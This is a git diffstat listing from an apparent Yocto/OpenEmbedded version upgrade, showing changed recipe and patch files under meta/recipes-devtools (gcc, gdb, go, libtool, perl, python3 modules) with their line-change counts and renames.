-rw-r--r--meta/recipes-devtools/gcc/gcc/0026-Fix-various-_FOR_BUILD-and-related-variables.patch134
-rw-r--r--meta/recipes-devtools/gcc/gcc/0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch28
-rw-r--r--meta/recipes-devtools/gcc/gcc/0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch14
-rw-r--r--meta/recipes-devtools/gcc/gcc/0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch4
-rw-r--r--meta/recipes-devtools/gcc/gcc/0030-sync-gcc-stddef.h-with-musl.patch4
-rw-r--r--meta/recipes-devtools/gcc/gcc/0031-fix-segmentation-fault-in-precompiled-header-generat.patch57
-rw-r--r--meta/recipes-devtools/gcc/gcc/0032-Fix-for-testsuite-failure.patch255
-rw-r--r--meta/recipes-devtools/gcc/gcc/0033-Re-introduce-spe-commandline-options.patch13
-rw-r--r--meta/recipes-devtools/gcc/gcc/0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch12
-rw-r--r--meta/recipes-devtools/gcc/gcc/0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch34
-rw-r--r--meta/recipes-devtools/gcc/gcc/0036-mingw32-Enable-operation_not_supported.patch8
-rw-r--r--meta/recipes-devtools/gcc/gcc/0037-libatomic-Do-not-enforce-march-on-aarch64.patch8
-rw-r--r--meta/recipes-devtools/gcc/gcc/0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch95
-rw-r--r--meta/recipes-devtools/gcc/gcc_10.2.bb14
-rw-r--r--meta/recipes-devtools/gcc/gcc_11.2.bb14
-rw-r--r--meta/recipes-devtools/gcc/libgcc-common.inc12
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial.inc6
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_10.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc-initial_11.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc.inc12
-rw-r--r--meta/recipes-devtools/gcc/libgcc_10.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgcc_11.2.bb5
-rw-r--r--meta/recipes-devtools/gcc/libgfortran.inc19
-rw-r--r--meta/recipes-devtools/gcc/libgfortran_11.2.bb (renamed from meta/recipes-devtools/gcc/libgfortran_10.2.bb)0
-rw-r--r--meta/recipes-devtools/gdb/gdb-10.1.inc20
-rw-r--r--meta/recipes-devtools/gdb/gdb-11.1.inc19
-rw-r--r--meta/recipes-devtools/gdb/gdb-common.inc27
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian.inc10
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross-canadian_11.1.bb (renamed from meta/recipes-devtools/gdb/gdb-cross-canadian_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross.inc9
-rw-r--r--meta/recipes-devtools/gdb/gdb-cross_11.1.bb (renamed from meta/recipes-devtools/gdb/gdb-cross_10.1.bb)0
-rw-r--r--meta/recipes-devtools/gdb/gdb.inc11
-rw-r--r--meta/recipes-devtools/gdb/gdb/0001-make-man-install-relative-to-DESTDIR.patch20
-rw-r--r--meta/recipes-devtools/gdb/gdb/0002-mips-linux-nat-Define-_ABIO32-if-not-defined.patch8
-rw-r--r--meta/recipes-devtools/gdb/gdb/0003-ppc-ptrace-Define-pt_regs-uapi_pt_regs-on-GLIBC-syst.patch10
-rw-r--r--meta/recipes-devtools/gdb/gdb/0004-Add-support-for-Renesas-SH-sh4-architecture.patch913
-rw-r--r--meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch12
-rw-r--r--meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch8
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch30
-rw-r--r--meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch50
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch30
-rw-r--r--meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch48
-rw-r--r--meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch49
-rw-r--r--meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch40
-rw-r--r--meta/recipes-devtools/gdb/gdb/0011-AArch64-Make-gdbserver-register-set-selection-dynamic.patch317
-rw-r--r--meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch40
-rw-r--r--meta/recipes-devtools/gdb/gdb_10.1.bb28
-rw-r--r--meta/recipes-devtools/gdb/gdb_11.1.bb28
-rw-r--r--meta/recipes-devtools/git/git.inc32
-rw-r--r--meta/recipes-devtools/git/git/fixsort.patch31
-rw-r--r--meta/recipes-devtools/git/git_2.29.2.bb9
-rw-r--r--meta/recipes-devtools/git/git_2.34.1.bb9
-rw-r--r--meta/recipes-devtools/glide/glide_0.13.3.bb15
-rw-r--r--meta/recipes-devtools/gnu-config/gnu-config_git.bb13
-rw-r--r--meta/recipes-devtools/go/go-1.15.inc20
-rw-r--r--meta/recipes-devtools/go/go-1.15/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch39
-rw-r--r--meta/recipes-devtools/go/go-1.15/0009-cmd-go-permit-CGO_LDFLAGS-to-appear-in-go-ldflag.patch100
-rw-r--r--meta/recipes-devtools/go/go-1.17.5.inc23
-rw-r--r--meta/recipes-devtools/go/go-1.17/0001-allow-CC-and-CXX-to-have-multiple-words.patch (renamed from meta/recipes-devtools/go/go-1.15/0001-allow-CC-and-CXX-to-have-multiple-words.patch)0
-rw-r--r--meta/recipes-devtools/go/go-1.17/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch (renamed from meta/recipes-devtools/go/go-1.15/0002-cmd-go-make-content-based-hash-generation-less-pedan.patch)68
-rw-r--r--meta/recipes-devtools/go/go-1.17/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch (renamed from meta/recipes-devtools/go/go-1.15/0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch)15
-rw-r--r--meta/recipes-devtools/go/go-1.17/0004-ld-add-soname-to-shareable-objects.patch (renamed from meta/recipes-devtools/go/go-1.15/0004-ld-add-soname-to-shareable-objects.patch)12
-rw-r--r--meta/recipes-devtools/go/go-1.17/0005-make.bash-override-CC-when-building-dist-and-go_boot.patch41
-rw-r--r--meta/recipes-devtools/go/go-1.17/0006-cmd-dist-separate-host-and-target-builds.patch (renamed from meta/recipes-devtools/go/go-1.15/0006-cmd-dist-separate-host-and-target-builds.patch)61
-rw-r--r--meta/recipes-devtools/go/go-1.17/0007-cmd-go-make-GOROOT-precious-by-default.patch (renamed from meta/recipes-devtools/go/go-1.15/0007-cmd-go-make-GOROOT-precious-by-default.patch)0
-rw-r--r--meta/recipes-devtools/go/go-1.17/0008-use-GOBUILDMODE-to-set-buildmode.patch (renamed from meta/recipes-devtools/go/go-1.15/0008-use-GOBUILDMODE-to-set-buildmode.patch)0
-rw-r--r--meta/recipes-devtools/go/go-1.17/0009-Revert-cmd-go-make-sure-CC-and-CXX-are-absolute.patch94
-rw-r--r--meta/recipes-devtools/go/go-binary-native_1.15.5.bb46
-rw-r--r--meta/recipes-devtools/go/go-binary-native_1.17.5.bb46
-rw-r--r--meta/recipes-devtools/go/go-common.inc4
-rw-r--r--meta/recipes-devtools/go/go-cross-canadian_1.17.5.bb (renamed from meta/recipes-devtools/go/go-cross-canadian_1.15.bb)0
-rw-r--r--meta/recipes-devtools/go/go-cross_1.17.5.bb (renamed from meta/recipes-devtools/go/go-cross_1.15.bb)0
-rw-r--r--meta/recipes-devtools/go/go-crosssdk_1.17.5.bb (renamed from meta/recipes-devtools/go/go-crosssdk_1.15.bb)0
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-Add-support-for-mips-mips64.patch54
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-Update-sys-module-to-latest.patch145574
-rw-r--r--meta/recipes-devtools/go/go-dep/0001-bolt_riscv64-Add-support-for-riscv64.patch33
-rw-r--r--meta/recipes-devtools/go/go-dep_0.5.4.bb30
-rw-r--r--meta/recipes-devtools/go/go-native_1.15.bb59
-rw-r--r--meta/recipes-devtools/go/go-native_1.17.5.bb59
-rw-r--r--meta/recipes-devtools/go/go-runtime.inc14
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.15.bb4
-rw-r--r--meta/recipes-devtools/go/go-runtime_1.17.5.bb3
-rw-r--r--meta/recipes-devtools/go/go-target.inc12
-rw-r--r--meta/recipes-devtools/go/go_1.15.bb18
-rw-r--r--meta/recipes-devtools/go/go_1.17.5.bb17
-rw-r--r--meta/recipes-devtools/help2man/help2man_1.47.16.bb22
-rw-r--r--meta/recipes-devtools/help2man/help2man_1.48.5.bb24
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.2.bb42
-rw-r--r--meta/recipes-devtools/i2c-tools/i2c-tools_4.3.bb43
-rw-r--r--meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb3
-rw-r--r--meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb5
-rw-r--r--meta/recipes-devtools/intltool/intltool_0.51.0.bb22
-rw-r--r--meta/recipes-devtools/jquery/jquery_3.5.1.bb33
-rw-r--r--meta/recipes-devtools/jquery/jquery_3.6.0.bb39
-rw-r--r--meta/recipes-devtools/json-c/json-c_0.15.bb4
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch50
-rw-r--r--meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch10
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_0.1.15.bb22
-rw-r--r--meta/recipes-devtools/libcomps/libcomps_0.1.18.bb23
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch2
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-Look-fo-sphinx-only-if-documentation-is-actually-ena.patch2
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch42
-rw-r--r--meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch37
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.55.0.bb34
-rw-r--r--meta/recipes-devtools/libdnf/libdnf_0.65.0.bb38
-rw-r--r--meta/recipes-devtools/libedit/libedit_20191231-3.1.bb25
-rw-r--r--meta/recipes-devtools/libedit/libedit_20210910-3.1.bb24
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd/0001-modulemd-generate-the-manpage-only-if-the-feature-is.patch28
-rw-r--r--meta/recipes-devtools/libmodulemd/libmodulemd_git.bb18
-rw-r--r--meta/recipes-devtools/librepo/librepo/0002-Do-not-try-to-obtain-PYTHON_INSTALL_DIR-by-running-p.patch51
-rw-r--r--meta/recipes-devtools/librepo/librepo/0004-Set-gpgme-variables-with-pkg-config-not-with-cmake-m.patch8
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.12.1.bb27
-rw-r--r--meta/recipes-devtools/librepo/librepo_1.14.2.bb29
-rw-r--r--meta/recipes-devtools/libtool/libtool-2.4.6.inc31
-rw-r--r--meta/recipes-devtools/libtool/libtool-cross_2.4.6.bb12
-rw-r--r--meta/recipes-devtools/libtool/libtool-native_2.4.6.bb6
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch37
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch68
-rw-r--r--meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch167
-rw-r--r--meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch24
-rw-r--r--meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch50
-rw-r--r--meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch72
-rw-r--r--meta/recipes-devtools/libtool/libtool/0006-libtool.m4-Handle-as-a-sysroot-correctly.patch44
-rw-r--r--meta/recipes-devtools/libtool/libtool/0007-libtool-Fix-support-for-NIOS2-processor.patch69
-rw-r--r--meta/recipes-devtools/libtool/libtool/0008-libtool-Check-for-static-libs-for-internal-compiler-.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/0009-Makefile.am-make-sure-autoheader-run-before-autoconf.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/0010-Makefile.am-make-sure-autoheader-run-before-automake.patch36
-rw-r--r--meta/recipes-devtools/libtool/libtool/0011-ltmain.in-Handle-prefix-map-compiler-options-correct.patch26
-rw-r--r--meta/recipes-devtools/libtool/libtool/0012-libtool.m4-For-reproducibility-stop-encoding-hostnam.patch27
-rw-r--r--meta/recipes-devtools/libtool/libtool/ARFLAGS-use-cr-instead-of-cru-by-default.patch133
-rwxr-xr-xmeta/recipes-devtools/libtool/libtool/debian-no_hostname.patch21
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-final-rpath.patch50
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-resolve-lt-sysroot.patch42
-rw-r--r--meta/recipes-devtools/libtool/libtool/fix-rpath.patch65
-rw-r--r--meta/recipes-devtools/libtool/libtool/fixinstall.patch6
-rw-r--r--meta/recipes-devtools/libtool/libtool/libool.m4-add-ARFLAGS-variable.patch77
-rw-r--r--meta/recipes-devtools/libtool/libtool/norm-rpath.patch38
-rw-r--r--meta/recipes-devtools/libtool/libtool/prefix.patch98
-rw-r--r--meta/recipes-devtools/libtool/libtool/rename-with-sysroot.patch166
-rw-r--r--meta/recipes-devtools/libtool/libtool/trailingslash.patch35
-rw-r--r--meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch22
-rw-r--r--meta/recipes-devtools/libtool/libtool_2.4.6.bb8
-rw-r--r--meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb9
-rw-r--r--meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch31
-rw-r--r--meta/recipes-devtools/llvm/llvm_git.bb58
-rw-r--r--meta/recipes-devtools/log4cplus/log4cplus_2.0.5.bb19
-rw-r--r--meta/recipes-devtools/log4cplus/log4cplus_2.0.7.bb19
-rw-r--r--meta/recipes-devtools/lua/lua/74d99057a5146755e737c479850f87fd0e3b6868.patch43
-rw-r--r--meta/recipes-devtools/lua/lua/lua.pc.in10
-rw-r--r--meta/recipes-devtools/lua/lua/run-ptest19
-rw-r--r--meta/recipes-devtools/lua/lua_5.4.3.bb63
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.18.inc62
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.19.inc61
-rw-r--r--meta/recipes-devtools/m4/m4-native_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4-native_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch41
-rw-r--r--meta/recipes-devtools/m4/m4/ac_config_links.patch24
-rw-r--r--meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch130
-rw-r--r--meta/recipes-devtools/m4/m4_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/makedevs/makedevs_1.0.1.bb5
-rw-r--r--meta/recipes-devtools/meson/meson.inc28
-rw-r--r--meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch18
-rw-r--r--meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch37
-rw-r--r--meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch39
-rw-r--r--meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch26
-rw-r--r--meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch45
-rw-r--r--meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch53
-rw-r--r--meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch12
-rw-r--r--meta/recipes-devtools/meson/meson/0003-native_bindir.patch125
-rw-r--r--meta/recipes-devtools/meson/meson/cross-prop-default.patch23
-rw-r--r--meta/recipes-devtools/meson/meson/disable-rpath-handling.patch18
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-setup.py18
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-wrapper5
-rw-r--r--meta/recipes-devtools/meson/meson_0.60.2.bb (renamed from meta/recipes-devtools/meson/meson_0.55.1.bb)0
-rw-r--r--meta/recipes-devtools/meson/nativesdk-meson_0.55.1.bb65
-rw-r--r--meta/recipes-devtools/meson/nativesdk-meson_0.60.2.bb104
-rw-r--r--meta/recipes-devtools/mklibs/files/ac_init_fix.patch19
-rw-r--r--meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch103
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch26
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_cross_compile.patch81
-rw-r--r--meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch34
-rw-r--r--meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch18
-rw-r--r--meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb22
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch32
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils_git.bb13
-rw-r--r--meta/recipes-devtools/mtd/mtd-utils_git.bb27
-rw-r--r--meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch6
-rw-r--r--meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch78
-rw-r--r--meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch18
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.25.bb50
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.36.bb49
-rw-r--r--meta/recipes-devtools/nasm/nasm_2.15.05.bb4
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.10.1.bb30
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.10.2.bb31
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb66
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.5.0.bb65
-rw-r--r--meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb10
-rw-r--r--meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb8
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.4.3.bb74
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.5.0.bb72
-rw-r--r--meta/recipes-devtools/orc/orc_0.4.32.bb9
-rw-r--r--meta/recipes-devtools/patch/patch.inc2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-13636.patch2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-20633.patch31
-rw-r--r--meta/recipes-devtools/patch/patch_2.7.6.bb3
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch25
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.12.bb16
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.14.3.bb18
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch31
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch27
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch (renamed from meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch (renamed from meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch (renamed from meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/README.md29
-rw-r--r--meta/recipes-devtools/perl-cross/files/determinism.patch46
-rw-r--r--meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb41
-rw-r--r--meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch26
-rw-r--r--meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch31
-rw-r--r--meta/recipes-devtools/perl/files/CVE-2021-36770.patch40
-rw-r--r--meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch40
-rw-r--r--meta/recipes-devtools/perl/files/determinism.patch23
-rw-r--r--meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch25
-rw-r--r--meta/recipes-devtools/perl/files/native-perlinc.patch2
-rw-r--r--meta/recipes-devtools/perl/files/perl-cross-makefile.patch29
-rw-r--r--meta/recipes-devtools/perl/files/perl-dynloader.patch2
-rw-r--r--meta/recipes-devtools/perl/files/perl-rdepends.txt4042
-rw-r--r--meta/recipes-devtools/perl/liberror-perl_0.17029.bb6
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb10
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb29
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb29
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_1.74.bb50
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_5.08.bb50
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb8
-rw-r--r--meta/recipes-devtools/perl/libxml-perl_0.08.bb4
-rw-r--r--meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb4
-rw-r--r--meta/recipes-devtools/perl/perl-ptest.inc6
-rw-r--r--meta/recipes-devtools/perl/perl_5.32.0.bb389
-rw-r--r--meta/recipes-devtools/perl/perl_5.34.0.bb399
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb67
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb67
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch144
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch68
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch45
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig_git.bb23
-rw-r--r--meta/recipes-devtools/prelink/prelink_git.bb22
-rwxr-xr-xmeta/recipes-devtools/pseudo/files/build-oldlibc20
-rw-r--r--meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch57
-rw-r--r--meta/recipes-devtools/pseudo/pseudo.inc32
-rw-r--r--meta/recipes-devtools/pseudo/pseudo_git.bb11
-rw-r--r--meta/recipes-devtools/python-numpy/python-numpy.inc50
-rw-r--r--meta/recipes-devtools/python-numpy/python3-numpy_1.19.3.bb3
-rw-r--r--meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch6
-rw-r--r--meta/recipes-devtools/python/python-async.inc2
-rw-r--r--meta/recipes-devtools/python/python-cython.inc10
-rw-r--r--meta/recipes-devtools/python/python-gitdb.inc4
-rw-r--r--meta/recipes-devtools/python/python-nose.inc2
-rw-r--r--meta/recipes-devtools/python/python-pbr.inc2
-rw-r--r--meta/recipes-devtools/python/python-pycryptodome.inc10
-rw-r--r--meta/recipes-devtools/python/python-pyparsing.inc22
-rw-r--r--meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch32
-rw-r--r--meta/recipes-devtools/python/python-six.inc2
-rw-r--r--meta/recipes-devtools/python/python-smmap.inc19
-rw-r--r--meta/recipes-devtools/python/python-testtools.inc5
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb25
-rw-r--r--meta/recipes-devtools/python/python3-attrs_21.2.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-cython_0.29.21.bb18
-rw-r--r--meta/recipes-devtools/python/python3-cython_0.29.25.bb37
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.2.16.bb26
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.2.18.bb25
-rw-r--r--meta/recipes-devtools/python/python3-dbusmock_0.19.bb17
-rw-r--r--meta/recipes-devtools/python/python3-dbusmock_0.24.1.bb18
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.16.bb17
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.18.1.bb11
-rw-r--r--meta/recipes-devtools/python/python3-dtschema_2021.10.bb16
-rw-r--r--meta/recipes-devtools/python/python3-git_3.1.11.bb32
-rw-r--r--meta/recipes-devtools/python/python3-git_3.1.24.bb32
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_4.0.5.bb4
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_4.0.9.bb3
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/run-ptest10
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py135
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_rle.py101
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis_6.31.4.bb38
-rw-r--r--meta/recipes-devtools/python/python3-idna_3.3.bb19
-rw-r--r--meta/recipes-devtools/python/python3-importlib-metadata_4.8.2.bb20
-rw-r--r--meta/recipes-devtools/python/python3-iniconfig_1.1.1.bb10
-rw-r--r--meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch552
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.4.bb17
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.5.bb14
-rw-r--r--meta/recipes-devtools/python/python3-jinja2_2.11.2.bb45
-rw-r--r--meta/recipes-devtools/python/python3-jinja2_3.0.3.bb48
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer_2.2.bb26
-rw-r--r--meta/recipes-devtools/python/python3-jsonschema_3.2.0.bb48
-rw-r--r--meta/recipes-devtools/python/python3-libarchive-c_2.9.bb21
-rw-r--r--meta/recipes-devtools/python/python3-libarchive-c_3.2.bb21
-rw-r--r--meta/recipes-devtools/python/python3-magic_0.4.18.bb22
-rw-r--r--meta/recipes-devtools/python/python3-magic_0.4.24.bb22
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.1.3.bb20
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.1.6.bb18
-rw-r--r--meta/recipes-devtools/python/python3-markdown_3.3.6.bb13
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe_1.1.1.bb28
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe_2.0.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools_8.12.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch (renamed from meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch)19
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch (renamed from meta/recipes-devtools/python-numpy/files/0001-numpy-core-Define-RISCV-32-support.patch)0
-rw-r--r--meta/recipes-devtools/python/python3-numpy/run-ptest5
-rw-r--r--meta/recipes-devtools/python/python3-numpy_1.21.4.bb59
-rw-r--r--meta/recipes-devtools/python/python3-packaging_21.3.bb13
-rw-r--r--meta/recipes-devtools/python/python3-pathlib2_2.3.6.bb12
-rw-r--r--meta/recipes-devtools/python/python3-pbr_5.4.4.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pbr_5.8.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch119
-rw-r--r--meta/recipes-devtools/python/python3-pip_20.0.2.bb33
-rw-r--r--meta/recipes-devtools/python/python3-pip_21.3.1.bb33
-rw-r--r--meta/recipes-devtools/python/python3-pluggy/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pluggy_1.0.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-py_1.11.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.20.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.20.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodome_3.12.0.bb5
